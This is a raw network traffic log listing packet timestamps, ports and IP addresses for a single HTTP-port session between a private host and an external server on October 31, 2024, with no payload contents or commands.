Oct 31, 2024 23:38:15.913400888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913414001 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913414955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913429022 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913445950 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913448095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913460970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913469076 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913475037 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913491964 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913501024 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913506985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913521051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913522005 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913539886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913547039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913557053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913569927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913589954 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913644075 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913659096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913676977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913682938 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913691998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913705111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913707972 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913714886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913722992 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913733006 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913747072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913748980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913758993 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913763046 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913778067 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913784981 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913794994 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913809061 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913809061 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913810968 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913826942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913830996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913841963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913851976 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913857937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913861036 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913872957 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913877964 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913886070 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913887978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913904905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913908005 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913916111 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913918018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.913935900 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.913957119 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914052010 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914066076 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914079905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914088964 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914096117 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914108038 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914112091 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914117098 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914125919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914136887 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914141893 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914156914 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914163113 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914163113 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914179087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914191008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914648056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914663076 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914678097 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914686918 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914695978 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914701939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914712906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914716959 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914731026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914741993 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914747000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914763927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914788008 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914802074 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914817095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914830923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914839983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914853096 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914854050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914869070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914881945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914887905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914896965 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914906979 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914911985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914937019 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914937019 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914952993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914959908 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914968967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914982080 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914983988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.914999962 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.914999962 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915008068 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915015936 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915028095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915038109 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915059090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915060997 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915074110 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915088892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915105104 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915113926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915119886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915133953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915134907 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915152073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915158987 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915184975 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915205956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915668011 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915710926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915712118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915728092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915752888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915761948 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915779114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915792942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915807009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915828943 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915852070 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915900946 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915915966 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915930033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915937901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915946007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915960073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915965080 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915965080 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915978909 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.915982008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.915997982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916011095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916016102 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916027069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916038036 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916043043 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916058064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916060925 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916071892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916081905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916086912 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916104078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916110992 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916120052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916146040 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916465998 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916481018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916495085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916506052 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916511059 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916513920 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916526079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916534901 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916543961 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916558981 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916665077 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916680098 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916695118 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.916701078 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916719913 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.916731119 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024761915 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024790049 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024807930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024837017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024853945 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024868965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024868965 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024869919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024884939 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024888039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024903059 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024918079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024930000 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024934053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024957895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024957895 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024975061 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.024977922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024987936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.024990082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025007010 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025017023 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025023937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025028944 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025042057 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025042057 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025058031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025059938 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025073051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025084019 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025089025 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025094032 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025105000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025115013 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025115013 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025141954 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025376081 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025392056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025408030 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025425911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025439978 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025444031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025459051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025463104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025471926 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025476933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025501013 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025515079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025518894 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025533915 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025548935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025556087 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025564909 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025564909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025582075 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025584936 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025597095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025602102 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025615931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025620937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025631905 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025636911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025652885 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025655031 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025667906 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025677919 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025685072 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025686026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025700092 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025702953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025719881 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025722980 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025728941 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025738955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025753975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025759935 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025769949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025774002 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025785923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025787115 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025800943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025804996 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025813103 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025819063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025834084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025836945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025849104 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025855064 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025863886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025865078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025881052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025885105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025893927 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025897026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025913000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025914907 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025928974 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025934935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025947094 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025950909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025964975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025979996 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025984049 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025984049 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.025995970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.025998116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026010990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026010990 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026030064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026037931 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026045084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026056051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026061058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026077986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026086092 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026103973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026107073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026128054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026135921 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026273012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026288986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026305914 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026323080 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026326895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026348114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026367903 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026403904 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026421070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026443958 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026457071 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026458979 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026473999 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026482105 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026489019 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026498079 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026504993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026510954 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026521921 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026526928 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026537895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026539087 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026554108 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026555061 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026571035 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026582956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026582956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026587009 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026607990 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026613951 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026621103 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026628971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026643991 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026659012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026667118 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026674986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026686907 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026690006 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026706934 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026707888 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026724100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026757002 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026787043 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026798010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026803017 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.026818037 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.026818991 CET	80	49837	185.215.113.16	192.168.2.4
